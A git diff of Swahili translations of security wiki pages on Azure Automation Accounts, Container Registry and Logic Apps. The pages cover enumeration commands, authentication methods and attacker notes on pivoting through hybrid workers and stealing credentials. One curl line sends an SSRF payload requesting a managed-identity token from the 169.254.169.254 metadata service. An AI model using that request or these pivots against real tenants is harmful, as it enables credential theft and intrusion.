Ili udhibiti wa chanzo uliowekwa ufanye kazi, **Akaunti ya Uendeshaji ya Azure** inahitaji kuwa na kitambulisho kinachodhibitiwa (sistimu au mtumiaji) chenye jukumu la **`Mchango`**. Zaidi ya hayo, ili kupeana kitambulisho kinachodhibitiwa na mtumiaji kwa Akaunti ya Uendeshaji, inahitajika kuashiria kitambulisho cha mteja wa MI ya mtumiaji katika mabadiliko **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
### Runtime Environments
### Mazingira ya Uendeshaji
Unapounda Runbook inawezekana kuchagua mazingira ya utekelezaji. Kwa kawaida, mazingira yafuatayo yanapatikana:
Unapounda Runbook inawezekana kuchagua mazingira ya uendeshaji. Kwa kawaida, mazingira yafuatayo yanapatikana:
- **Powershell 5.1**
- **Powershell 7.1**
@@ -57,34 +57,34 @@ Unapounda Runbook inawezekana kuchagua mazingira ya utekelezaji. Kwa kawaida, ma
- **Python 3.8**
- **Python 2.7**
Hata hivyo, pia inawezekana **kuunda mazingira yako mwenyewe**, ukitumia moja ya hizi kama msingi. Katika kesi ya python, inawezekana kupakia pakiti za `.whl` kwenye mazingira ambayo yatatumika. Katika kesi ya PowerShell, inawezekana kupakia pakiti za `.zip` zenye moduli za kuwa nazo katika utekelezaji.
Hata hivyo, pia inawezekana **kuunda mazingira yako mwenyewe**, ukitumia moja ya hizi kama msingi. Katika kesi ya python, inawezekana kupakia pakiti za `.whl` kwenye mazingira ambayo yatatumika. Katika kesi ya PowerShell, inawezekana kupakia pakiti za `.zip` zenye moduli za kuwa nazo katika uendeshaji.
### Hybrid Worker Groups
### Vikundi vya Wafanyakazi wa Mseto
Katika Azure Automation, mazingira ya kawaida ya utekelezaji wa runbooks ni **Azure Sandbox**, jukwaa la wingu linalosimamiwa na Azure, linalofaa kwa kazi zinazohusisha rasilimali za Azure. Hata hivyo, sandbox hii ina mipaka, kama vile upatikanaji wa rasilimali za ndani na vizuizi juu ya muda wa utekelezaji na matumizi ya rasilimali. Ili kushinda mipaka hii, Vikundi vya Wafanyakazi wa Mseto vinatumika. Kikundi cha Wafanyakazi wa Mseto kinajumuisha **mfanyakazi mmoja au zaidi wa Runbook wa Mseto waliowekwa kwenye mashine zako**, iwe ndani, katika mazingira mengine ya wingu au Azure VMs. Mpangilio huu unaruhusu runbooks kuendesha moja kwa moja kwenye mashine hizi, ukitoa upatikanaji wa moja kwa moja kwa rasilimali za ndani, uwezo wa kuendesha kazi ndefu na zenye matumizi makubwa ya rasilimali, na kubadilika kuingiliana na mazingira zaidi ya ufikiaji wa moja kwa moja wa Azure.
Katika Azure Automation, mazingira ya kawaida ya utekelezaji wa runbooks ni **Azure Sandbox**, jukwaa la msingi wa wingu linalosimamiwa na Azure, linalofaa kwa kazi zinazohusisha rasilimali za Azure. Hata hivyo, sandbox hii ina mipaka, kama vile upatikanaji wa rasilimali za ndani na vizuizi vya muda wa utekelezaji na matumizi ya rasilimali. Ili kushinda mipaka hii, Vikundi vya Wafanyakazi wa Mseto vinatumika. Kikundi cha Wafanyakazi wa Mseto kinajumuisha **mfanyakazi mmoja au zaidi wa Runbook wa Mseto waliowekwa kwenye mashine zako**, iwe ndani, katika mazingira mengine ya wingu au VM za Azure. Mpangilio huu unaruhusu runbooks kutekelezwa moja kwa moja kwenye mashine hizi, ukitoa upatikanaji wa moja kwa moja kwa rasilimali za ndani, uwezo wa kuendesha kazi ndefu na zenye matumizi makubwa ya rasilimali, na kubadilika kuingiliana na mazingira zaidi ya ufikiaji wa moja kwa moja wa Azure.
Wakati kikundi cha mfanyakazi wa mseto kinaundwa inahitajika kuashiria **credentials** za kutumia. Kuna chaguzi 2:
Wakati kikundi cha mfanyakazi wa mseto kinaundwa inahitajika kuashiria **hati** za kutumia. Kuna chaguzi 2:
- **Default credentials**: Huhitaji kutoa credentials na runbooks zitaendesha ndani ya VMs kama **Mfumo**.
- **Specific credentials**: Unahitaji kutoa jina la kitu cha credentials ndani ya akaunti ya kujiendesha, ambacho kitatumika kuendesha **runbooks ndani ya VMs**. Kwa hivyo, katika kesi hii, inaweza kuwa na uwezekano wa **kuiba credentials halali** za VMs.
- **Hati za kawaida**: Huhitaji kutoa hati na runbooks zitatekelezwa ndani ya VMs kama **Mfumo**.
- **Hati maalum**: Unahitaji kutoa jina la kitu cha hati ndani ya akaunti ya uendeshaji, ambacho kitatumika kutekeleza **runbooks ndani ya VMs**. Kwa hivyo, katika kesi hii, inaweza kuwa na uwezo wa **kuiba hati halali** za VMs.
Kwa hivyo, ikiwa unaweza kuchagua kuendesha **Runbook** katika **Mfanyakazi wa Mseto**, utaendesha **amri zisizo na mipaka** ndani ya mashine ya nje kama **Mfumo** (mbinu nzuri ya pivot).
Zaidi ya hayo, ikiwa mfanyakazi wa mseto anafanya kazi katika Azure na Utambulisho mwingine wa Kusimamia umeunganishwa, runbook itakuwa na uwezo wa kufikia **utambulisho wa kusimamia wa runbook na utambulisho wote wa kusimamia wa VM kutoka kwa huduma ya metadata**.
Zaidi ya hayo, ikiwa mfanyakazi wa mseto anafanya kazi katika Azure na kitambulisho kingine kinachodhibitiwa kimeunganishwa, runbook itakuwa na uwezo wa kufikia **kitambulisho kinachodhibitiwa cha runbook na vitambulisho vyote vilivyodhibitiwa vya VM kutoka kwa huduma ya metadata**.
> [!TIP]
> Kumbuka kwamba **huduma ya metadata** ina URL tofauti (**`http://169.254.169.254`**) kuliko huduma ambayo inapata token ya utambulisho wa akaunti ya kujiendesha (**`IDENTITY_ENDPOINT`**).
> Kumbuka kwamba **huduma ya metadata** ina URL tofauti (**`http://169.254.169.254`**) kuliko huduma ambayo inapata token ya vitambulisho vilivyodhibitiwa vya akaunti ya uendeshaji (**`IDENTITY_ENDPOINT`**).
### State Configuration (SC)
### Usanidi wa Jimbo (SC)
> [!WARNING]
> Kama ilivyoonyeshwa katika [the docs](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Azure Automation State Configuration itastaafu tarehe 30 Septemba 2027 na kubadilishwa na [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
> Kama ilivyoonyeshwa katika [nyaraka](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Usanidi wa Jimbo la Azure Automation utaondolewa tarehe 30 Septemba 2027 na kubadilishwa na [Usanidi wa Mashine ya Azure](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Akaunti za Kujiendesha pia zinasaidia **State Configuration (SC)**, ambayo ni kipengele kinachosaidia **kuunda** na **kuhifadhi** **hali** ya VMs zako. Inawezekana **kuunda** na **kutumia** usanidi wa DSC kwa **Windows** na **Linux** mashine.
Akaunti za Uendeshaji pia zinasaidia **Usanidi wa Jimbo (SC)**, ambayo ni kipengele kinachosaidia **kuweka** na **kuhifadhi** **hali** ya VMs zako. Inawezekana **kuunda** na **kutumia** usanidi wa DSC kwa **Windows** na **Linux** mashine.
Kutoka kwa mtazamo wa washambuliaji hii ilikuwa ya kuvutia kwa sababu iliruhusu **kuendesha PS code zisizo na mipaka katika VMs zote zilizowekwa** ikiruhusu kupandisha mamlaka kwa utambulisho wa kusimamia wa VMs hizi, kwa uwezekano wa pivoting kwa mitandao mipya... Pia, usanidi unaweza kuwa na **habari nyeti**.
Kutoka kwa mtazamo wa washambuliaji hii ilikuwa ya kuvutia kwa sababu iliruhusu **kutekeleza msimbo wa PS usio na mipaka katika VMs zote zilizowekwa** ikiruhusu kupandisha mamlaka kwa vitambulisho vilivyodhibitiwa vya VMs hizi, kwa uwezekano wa pivoting kwa mitandao mipya... Pia, usanidi unaweza kuwa na **habari nyeti**.
## Enumeration
## Uhesabu
```bash
# List Automation Accounts
az automation account list --output table
@@ -232,7 +232,13 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -R
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## Marejeo
## Kudumu
{{#ref}}
../az-persistence/az-automation-accounts-persistence.md
{{#endref}}
## Marejeleo
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)

View File

@@ -14,9 +14,9 @@ Hizi ni **idhini tofauti** [kulingana na nyaraka](https://learn.microsoft.com/en
- Kuunda/kufuta rejista
- Kusukuma picha
- Kuvuta picha
- Kufuta data ya picha
- Kubadilisha sera
- Kusaini picha
- Futa data ya picha
- Badilisha sera
- Saini picha
Pia kuna **majukumu yaliyojengwa ndani** ambayo yanaweza kutolewa, na pia inawezekana kuunda **majukumu ya kawaida**.
@@ -29,10 +29,10 @@ Pia kuna **majukumu yaliyojengwa ndani** ambayo yanaweza kutolewa, na pia inawez
Kuna njia 4 za kuthibitisha kwenye ACR:
- **Kwa Entra ID**: Hii ndiyo **njia ya kawaida** ya kuthibitisha kwenye ACR. Inatumia amri ya **`az acr login`** kuthibitisha kwenye ACR. Amri hii itahifadhi **tahadhari** katika faili ya **`~/.docker/config.json`**. Zaidi ya hayo, ikiwa unakimbia amri hii kutoka kwenye mazingira yasiyo na upatikanaji wa soketi ya docker kama katika **cloud shell**, inawezekana kutumia bendera ya **`--expose-token`** kupata **token** ya kuthibitisha kwenye ACR. Kisha ili kuthibitisha unahitaji kutumia kama jina la mtumiaji `00000000-0000-0000-0000-000000000000` kama: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Kwa akaunti ya admin**: Mtumiaji wa admin amezuiliwa kwa default lakini anaweza kuwezeshwa na kisha itakuwa inawezekana kufikia rejista kwa **jina la mtumiaji** na **nenosiri** la akaunti ya admin lenye ruhusa kamili kwa rejista. Hii bado inaungwa mkono kwa sababu huduma zingine za Azure zinazitumia. Kumbuka kwamba **nenosiri 2** zinaundwa kwa mtumiaji huyu na zote ni halali. Unaweza kuziwezesha kwa `az acr update -n <acrName> --admin-enabled true`. Kumbuka kwamba jina la mtumiaji kwa kawaida ni jina la rejista (na si `admin`).
- **Kwa token**: Inawezekana kuunda **token** na **`scope map`** maalum (ruhusa) ili kufikia rejista. Kisha, inawezekana kutumia jina la token hii kama jina la mtumiaji na baadhi ya nenosiri lililotengenezwa ili kuthibitisha kwenye rejista kwa `docker login -u <registry-name> -p <password> aregistry-url>`
- **Kwa Service Principal**: Inawezekana kuunda **service principal** na kutoa jukumu kama **`AcrPull`** ili kuvuta picha. Kisha, itakuwa inawezekana **kuingia kwenye rejista** kwa kutumia appId ya SP kama jina la mtumiaji na siri iliyotengenezwa kama nenosiri.
- **Kwa Entra ID**: Hii ndiyo **njia ya kawaida** ya kuthibitisha kwenye ACR. Inatumia amri ya **`az acr login`** kuthibitisha kwenye ACR. Amri hii itahifadhi **taarifa za kuingia** katika faili ya **`~/.docker/config.json`**. Zaidi ya hayo, ikiwa unakimbia amri hii kutoka kwenye mazingira yasiyo na upatikanaji wa soketi ya docker kama katika **cloud shell**, inawezekana kutumia bendera ya **`--expose-token`** kupata **token** ya kuthibitisha kwenye ACR. Kisha ili kuthibitisha unahitaji kutumia kama jina la mtumiaji `00000000-0000-0000-0000-000000000000` kama: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Kwa akaunti ya admin**: Mtumiaji wa admin amezuiliwa kwa kawaida lakini anaweza kuwezeshwa na kisha itakuwa inawezekana kufikia rejista kwa **jina la mtumiaji** na **nenosiri** la akaunti ya admin lenye ruhusa kamili kwa rejista. Hii bado inaungwa mkono kwa sababu huduma zingine za Azure zinazitumia. Kumbuka kwamba **nenosiri 2** zinaundwa kwa mtumiaji huyu na zote ni halali. Unaweza kuziwezesha kwa `az acr update -n <acrName> --admin-enabled true`. Kumbuka kwamba jina la mtumiaji kwa kawaida ni jina la rejista (na si `admin`).
- **Kwa token**: Inawezekana kuunda **token** yenye **`scope map`** maalum (idhini) ili kufikia rejista. Kisha, inawezekana kutumia jina la token kama jina la mtumiaji na yoyote ya nenosiri zilizozalishwa kuthibitisha kwenye rejista kwa `docker login -u <registry-name> -p <password> <registry-url>`
- **Kwa Huduma ya Kiongozi**: Inawezekana kuunda **huduma ya kiongozi** na kutoa jukumu kama **`AcrPull`** ili kuvuta picha. Kisha, itakuwa inawezekana **kuingia kwenye rejista** kwa kutumia appId ya SP kama jina la mtumiaji na siri iliyozalishwa kama nenosiri.
Mfano wa skripti kutoka kwa [nyaraka](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) za kuunda SP yenye upatikanaji juu ya rejista:
```bash
@@ -55,7 +55,7 @@ Ni **Premium SKU** pekee inayounga mkono **encryption at rest** kwa picha na vit
### Networking
Ni **Premium SKU** pekee inayounga mkono **private endpoints**. Nyingine zinasaidia tu **public access**. Endpoint ya umma ina muundo `<registry-name>.azurecr.io` na endpoint ya kibinafsi ina muundo `<registry-name>.privatelink.azurecr.io`. Kwa sababu hii, jina la registry lazima liwe la kipekee katika Azure yote.
Ni **Premium SKU** pekee inayounga mkono **private endpoints**. Wengine wanaunga mkono tu **public access**. Endpoint ya umma ina muundo `<registry-name>.azurecr.io` na endpoint ya kibinafsi ina muundo `<registry-name>.privatelink.azurecr.io`. Kwa sababu hii, jina la registry lazima liwe la kipekee katika Azure yote.
### Microsoft Defender for Cloud
@@ -73,9 +73,9 @@ Kutoka kwa mtazamo wa washambuliaji, ni muhimu kuangalia hii **kabla ya kufanya
### Connected registries
Hii kimsingi inaruhusu **mirror the images** kutoka registry moja hadi nyingine, kwa kawaida iliyoko kwenye eneo.
Hii kimsingi inaruhusu **mirror the images** kutoka registry moja hadi nyingine, mara nyingi iliyoko kwenye eneo.
Ina hali 2: **ReadOnly** na **ReadWrite**. Katika hali ya kwanza, picha zinachukuliwa tu **pulled** kutoka registry ya chanzo, na katika hali ya pili, picha zinaweza pia **pushed** kwa registry ya chanzo.
Ina hali 2: **ReadOnly** na **ReadWrite**. Katika ya kwanza, picha zinachukuliwa tu **pulled** kutoka registry ya chanzo, na katika ya pili, picha zinaweza pia **pushed** kwa registry ya chanzo.
Ili wateja waweze kufikia registry kutoka Azure, **token** inatolewa wakati registry iliyounganishwa inatumika.
@@ -92,9 +92,9 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
# Run
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
```
Hata hivyo, hiyo itasababisha kukimbia ambazo si za kuvutia sana kutoka kwa mtazamo wa mshambuliaji kwa sababu hazina utambulisho wa usimamizi ulioambatanishwa nao.
Hata hivyo, hiyo itasababisha kukimbia ambazo si za kuvutia sana kutoka kwa mtazamo wa mshambuliaji kwa sababu hazina utambulisho wowote ulio na usimamizi ulioambatanishwa nazo.
Hata hivyo, **tasks** zinaweza kuwa na **utambulisho wa usimamizi wa mfumo na mtumiaji** ulioambatanishwa nazo. Tasks hizi ndizo zinazofaa kwa **kuinua mamlaka** katika kontena. Katika sehemu ya kuinua mamlaka, inawezekana kuona jinsi ya kutumia tasks kuinua mamlaka.
Hata hivyo, **tasks** zinaweza kuwa na **utambulisho wa mfumo na wa mtumiaji** ulioambatanishwa nazo. Tasks hizi ndizo zinazofaa kwa **kuinua mamlaka** katika kontena. Katika sehemu ya kuinua mamlaka, inawezekana kuona jinsi ya kutumia tasks kuinua mamlaka.
### Cache
@@ -143,10 +143,16 @@ az acr cache list --registry <registry-name>
# Get cache details
az acr cache show --name <cache-name> --registry <registry-name>
```
## Upatikanaji Usioidhinishwa
{{#ref}}
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
{{#endref}}
## Kuinua Haki & Baada ya Utekelezaji
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## Marejeleo

View File

@@ -4,101 +4,177 @@
## Basic Information
Azure Logic Apps ni huduma ya msingi ya wingu inayotolewa na Microsoft Azure ambayo inawawezesha waendelezaji **kuunda na kuendesha workflows zinazounganisha huduma mbalimbali**, vyanzo vya data, na programu. Workflows hizi zimeundwa ili **kuendesha michakato ya biashara**, kupanga kazi, na kufanya uunganisho wa data kati ya majukwaa tofauti.
Azure Logic Apps inaruhusu waendelezaji **kuunda na kuendesha workflows zinazounganisha huduma mbalimbali**, vyanzo vya data, na programu. Workflows hizi zimeundwa ili **kujiendesha kwa mchakato wa biashara**, kupanga kazi, na kufanya uunganisho wa data kati ya majukwaa tofauti.
Logic Apps inatoa mbunifu wa kuona kuunda workflows na **aina mbalimbali za viunganishi vilivyotengenezwa awali**, ambavyo hufanya iwe rahisi kuungana na kuingiliana na huduma mbalimbali, kama vile Office 365, Dynamics CRM, Salesforce, na nyingine nyingi. Unaweza pia kuunda viunganishi vya kawaida kwa mahitaji yako maalum.
Logic Apps inatoa **mchoro wa kuona** kuunda workflows zenye **mifungamano mingi iliyojengwa awali**, ambayo inafanya iwe rahisi kuungana na kuingiliana na huduma mbalimbali:
Unapounda Logic App, lazima uunde au uunganishe akaunti ya kuhifadhi ya nje inayohifadhi hali ya workflow, historia ya uendeshaji, na vitu. Hifadhi hii inaweza kuundwa na mipangilio ya uchunguzi kwa ajili ya ufuatiliaji na inaweza kulindwa kwa vizuizi vya ufikiaji wa mtandao au kuunganishwa katika mtandao wa virtual ili kudhibiti trafiki ya kuingia na kutoka.
<figure><img src="../../../images/image (197).png" alt="https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png"><figcaption></figcaption></figure>
### Examples
- **Automating Data Pipelines**: Logic Apps zinaweza kuendesha **mchakato wa uhamishaji na mabadiliko ya data** kwa kushirikiana na Azure Data Factory. Hii ni muhimu kwa kuunda mabomba ya data yanayoweza kupanuka na kuaminika ambayo yanahamisha na kubadilisha data kati ya hifadhi mbalimbali za data, kama vile Azure SQL Database na Azure Blob Storage, kusaidia katika uchambuzi na operesheni za akili ya biashara.
- **Integrating with Azure Functions**: Logic Apps zinaweza kufanya kazi pamoja na Azure Functions kuendeleza **programu za kisasa zinazotegemea matukio ambazo zinaweza kupanuka kadri inavyohitajika** na kuunganishwa kwa urahisi na huduma nyingine za Azure. Mfano wa matumizi ni kutumia Logic App kuanzisha Azure Function kama jibu kwa matukio fulani, kama vile mabadiliko katika akaunti ya Azure Storage, kuruhusu usindikaji wa data wa kidinamikia.
### Visualize a LogicAPP
Inawezekana kuona LogicApp kwa picha:
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
au kuangalia msimbo katika sehemu ya "**Logic app code view**".
### SSRF Protection
Hata kama unapata **Logic App ikiwa na udhaifu wa SSRF**, huwezi kupata akreditivu kutoka kwa metadata kwani Logic Apps hairuhusu hilo.
Kwa mfano, kitu kama hiki hakitatoa token:
```bash
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
### Hosting options
Kuna chaguzi kadhaa za mwenyeji:
Kuna chaguzi kadhaa za kuhost:
* **Consumption**
- **Multi-tenant**: inatoa rasilimali za kompyuta zinazoshirikiwa, inafanya kazi katika wingu la umma, na inafuata mfano wa bei kulingana na operesheni. Hii ni bora kwa kazi nyepesi na za gharama nafuu. Hii inapeleka "Single Workflow".
- **Multi-tenant**: Hii inatoa rasilimali za kompyuta zinazoshirikiwa, inafanya kazi katika wingu la umma, na inafuata mfano wa bei kulingana na operesheni. Hii ni bora kwa kazi nyepesi na za gharama nafuu. Hii ndiyo tutakayoiita "Single Workflow".
* **Standard**
- **Workflow Service Plan**: rasilimali za kompyuta zilizotengwa zikiwa na ushirikiano wa VNET kwa ajili ya mtandao na malipo kwa kila mfano wa mpango wa huduma ya workflow. Inafaa kwa kazi zinazohitaji zaidi udhibiti.
- **App Service Environment V3** rasilimali za kompyuta zilizotengwa zikiwa na kutengwa kamili na upanuzi. Pia inashirikiana na VNET kwa mtandao na inatumia mfano wa bei kulingana na mifano ya App Service ndani ya mazingira.
- **Hybrid** iliyoundwa kwa ajili ya usindikaji wa ndani na msaada wa multi-cloud. Inaruhusu rasilimali za kompyuta zinazodhibitiwa na mteja zikiwa na ufikiaji wa mtandao wa ndani na inatumia Kubernetes Event-Driven Autoscaling (KEDA). Inategemea Mazingira ya Programu ya Kontena.
- **Workflow Service Plan**: Hii inatoa rasilimali za kompyuta zilizotengwa na uunganisho wa VNET kwa ajili ya mtandao na inatoza ada kwa kila mfano wa mpango wa huduma ya workflow. Inafaa kwa kazi zinazohitaji udhibiti zaidi.
- **App Service Environment V3:** Hii inatoa rasilimali za kompyuta zilizotengwa zikiwa na kutengwa kamili na uwezo wa kupanuka. Pia inajumuisha VNET kwa mtandao na inatumia mfano wa bei kulingana na mifano ya App Service ndani ya mazingira.
- **Hybrid:** Hii imeundwa kwa ajili ya usindikaji wa ndani na msaada wa multi-cloud. Inaruhusu rasilimali za kompyuta zinazodhibitiwa na mteja zikiwa na ufikiaji wa mtandao wa ndani na inatumia Kubernetes Event-Driven Autoscaling (KEDA). Inategemea Mazingira ya Programu ya Kontena.
### Key Features
- **Storage**: Logic Apps zinahitaji akaunti ya nje ya Azure Storage kuhifadhi hali ya workflow, historia ya kukimbia… na lazima iwe katika kundi moja la rasilimali kama Logic App.
- **Networking & Security**: Logic Apps zinaweza kuundwa na ufikiaji wa umma au wa kibinafsi. Kwa kawaida, programu iko wazi kwa mtandao lakini inaweza kuunganishwa na Azure Virtual Network kwa ajili ya muunganisho wa kutengwa.
- **Application Insights**: Usimamizi wa Utendaji wa Programu (APM) kupitia Azure Monitor Application Insights unaweza kuwezeshwa kufuatilia utendaji, kugundua tofauti, na kutoa uchambuzi.
- **Access Control**: Logic apps zinasaidia Identiti Zinazosimamiwa na Mfumo & Identiti Zinazosimamiwa na Mtumiaji.
## "Single" Workflows / Consumption Plan
### "Single" Workflows
**Workflow** ni mfululizo wa hatua au kazi za kiotomatiki zilizopangwa ambazo zinafanya mchakato au lengo maalum. Inafafanua jinsi vitendo, hali, na maamuzi tofauti vinavyoshirikiana ili kufikia matokeo yanayotakiwa, ikipunguza operesheni na kupunguza juhudi za mikono.
**workflow** ni mfululizo wa hatua au kazi za kiotomatiki zilizopangwa ambazo zinafanya mchakato au lengo maalum. Inafafanua jinsi vitendo tofauti, hali, na maamuzi yanavyoshirikiana ili kufikia matokeo yanayotakiwa, ikipunguza operesheni na kupunguza juhudi za mikono. Workflows zinaweza kuunganisha mifumo mingi, kuanzisha matukio, na sheria, kuhakikisha uthabiti na ufanisi katika michakato.
> [!TIP]
> Mpango wa Consumption unaruhusu **kuunda workflow moja bila haja ya Logic App** yenyewe.
Azure Logic apps inatoa uwezo wa **kuunda workflow moja bila haja ya Logic App** yenyewe.
### Triggers & Actions
Kila workflow ina **triggers** tofauti. Hizi triggers ni hatua ambazo workflow inafuata. Kila trigger ina vigezo vyake ambavyo vinaweza kutofautiana kulingana na aina ya trigger:
- Jina la muunganisho
- **Aina ya Uthibitishaji** ambayo inaweza kuwa, Funguo za Ufikiaji, Microsoft Entra ID, uthibitishaji wa huduma iliyounganishwa na Identiti ya Logic Apps.
Triggers za workflow zinaonyesha **wakati workflow inapaswa kuanza**. Triggers zinaweza kuwa kiunganishi cha HTTP, ratiba, au matukio tofauti kutoka Azure au hata programu za nje.
Triggers pia zina mipangilio mbalimbali:
- Uthibitishaji wa Muundo: Inahakikisha data inayokuja inafuata muundo ulioainishwa.
- Udhibiti wa Ufanisi: Inapunguza idadi ya kukimbia kwa wakati mmoja
- Masharti ya Trigger: masharti ambayo yanapaswa kutimizwa kabla ya trigger kuanzishwa.
- Mtandao: Inapanga ukubwa wa kipande kwa ajili ya uhamasishaji wa data na inaruhusu kuficha vichwa vya workflow katika majibu.
- **Usalama**: Inaruhusu **Inputs/Outputs Salama kuficha** data nyeti katika kumbukumbu na matokeo.
Kila workflow ina **actions** tofauti. Actions hizi ni hatua ambazo workflow inafuata. Kulingana na action, vigezo tofauti vitapatikana kuviweka, kama:
**Mipangilio & Muunganisho wa API:**
- **Connection name**: Muunganisho wa kutumia ambao action itashirikiana nao.
- **Authentication Type:** Chaguzi tofauti ni Access Key, Microsoft Entra ID, uthibitishaji wa Integrated Service principal na Logic Apps Managed Identity.
- Kutoka kwa mtazamo wa Kusoma tu, data ya **Authentication** daima ni ya kuvutia kwani inaweza kuwa na taarifa nyeti.
- Kutoka kwa mtazamo wa Kuandika, data ya **Authentication** daima ni ya kuvutia kwani inaweza kuruhusu kutumia ruhusa za utambulisho zilizotolewa.
- ...
Workflow ina mipangilio tofauti kama:
- Anwani za IP zinazoruhusiwa kuingia: Mipangilio hii inakuwezesha kupunguza nani anaweza kuanzisha au kuanzisha Logic App yako. Chaguo ni IP yoyote, Logic Apps nyingine pekee na anuwai maalum za IP.
- Akaunti ya Uunganisho: Hapa, unaweza kuunganisha Logic App yako na Akaunti ya Uunganisho.
- Uhamasishaji wa juu: Mipangilio hii inaruhusu Logic App yako kushughulikia maombi zaidi kwa haraka.
- Uhifadhi wa historia ya kukimbia: kwa muda gani historia ya utekelezaji wa Logic App yako inahifadhiwa.
Actions pia zina **settings** mbalimbali, ambazo zinategemea action yenyewe. Baadhi ya mipangilio ya kawaida ni:
Unaweza kuona muunganisho tofauti wa API ambao workflow ina. Ndani ya kila moja ya muunganisho haya wana mali tofauti na uwezekano wa kuhariri muunganisho wa API ambapo aina ya Uthibitishaji inaweza kubadilishwa.
- **Retry Policy**: Inapangilia idadi ya majaribio na muda kati yao.
- **Timeout**: Inapanga muda wa juu ambao action inaweza kukimbia kabla ya kuisha.
- **Run After**: Inabainisha masharti ambayo yanapaswa kutimizwa kabla ya action kuendesha.
- **Schema Validation**: Inahakikisha data inayokuja inafuata muundo ulioainishwa.
- **Networking**: Inapangilia jinsi ya kudhibiti vichwa tofauti.
- **Secure Inputs/Outputs**: Hii itaficha data za ingizo/kuondoa kutoka kwa historia ya kukimbia.
- ...
**Historia & Matoleo:**
Ina chaguo la kufikia **historia** ya utekelezaji tofauti, inaonyesha, Mipangilio, Matokeo, Vigezo na Msimbo.
### Authorization Policies
Pia ina chaguo la kufikia **matoleo** tofauti ya workflow, ambapo unaweza kuangalia msimbo na kubadilisha workflow iliyopo na toleo la zamani la hiyo.
**Uidhinishaji:**
Azure Logic Apps zinasaidia **sera za uidhinishaji** na Entra ID ili kulinda triggers zinazotegemea maombi kwa kuhitaji tokeni halali ya ufikiaji. Tokeni hii lazima iwe na madai maalum:
- Mtoaji (iss) ili kuthibitisha mtoa huduma wa utambulisho
- Watazamaji (aud) ili kuhakikisha tokeni inakusudiwa kwa Logic App
- Somo (sub) ili kubaini mpiga simu
Workflows hizi zinasaidia **sera za uthibitishaji** na Entra ID ili kulinda triggers za msingi wa ombi kwa kuhitaji tokeni halali ya ufikiaji. Tokeni hii lazima iwe na madai maalum:
- Issuer (iss) ili kuthibitisha mtoa huduma wa utambulisho
- Audience (aud) ili kuhakikisha tokeni inakusudiwa kwa Logic App
- Subject (sub) ili kubaini mpiga simu
- JWT ID (kitambulisho cha JSON Web Token)
- Dhamana Maalum
- Custom Claim
Wakati ombi linapopokelewa, Logic Apps inathibitisha tokeni dhidi ya madai haya na inaruhusu utekelezaji tu ikiwa zinakubaliana na sera iliyowekwa. Hii inaweza kutumika kuruhusu mpangilio mwingine kuanzisha workflow au kukataa trigger kutoka vyanzo vingine, kwa mfano kuruhusu trigger tu ikiwa inatoka https://login.microsoftonline.com/.
Wakati ombi linapopokelewa, Logic Apps inathibitisha tokeni dhidi ya madai haya na inaruhusu utekelezaji tu ikiwa yanalingana na sera iliyowekwa. Hii inaweza kutumika kuruhusu mpangilio mwingine kuanzisha workflow au kukataa trigger kutoka vyanzo vingine, kwa mfano kuruhusu trigger tu ikiwa inatoka https://login.microsoftonline.com/.
**Funguo za Ufikiaji:**
Unapohifadhi trigger inayotegemea ombi kwa mara ya kwanza, Logic Apps kiotomatiki huunda mwisho wa kipekee na saini ya SAS (iliyoundwa kutoka kwa Funguo za Ufikiaji) inayotoa ruhusa ya kuita workflow. Saini hii ya SAS imejumuishwa katika URL ya trigger. Funguo hii inaweza kuundwa upya na itatoa saini mpya ya SAS, lakini funguo hazitaweza kuorodheshwa.
### Access Keys
URL ya kuitisha kwa Funguo za Ufikiaji:
Workflows **zinaunda funguo 2 za ufikiaji** zinapoundwa. Funguo hizi zinatumika kuthibitisha na kuidhinisha maombi kwa workflow. Funguo hizo zinatumika kuunda tokeni ya Shared Access Signature (SAS), ambayo inajumuishwa katika URL ya ombi.
Hivyo, wakati kiunganishi cha HTTP kinapoundwa, **kiunganishi cha kipekee cha HTTP chenye saini ya SAS** ambacho kinatoa ruhusa ya kuita workflow kinaundwa.
Funguo hizi **zinaweza kuundwa upya** na URL mpya ya SAS itaundwa kwa ajili ya triggers hizi, lakini **maadili ya funguo haya hayawezi kufikiwa**.
Mfano wa URL ya SAS ya kuanzisha trigger:
```
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
```
### Workflow Settings & Components
### Enumeration
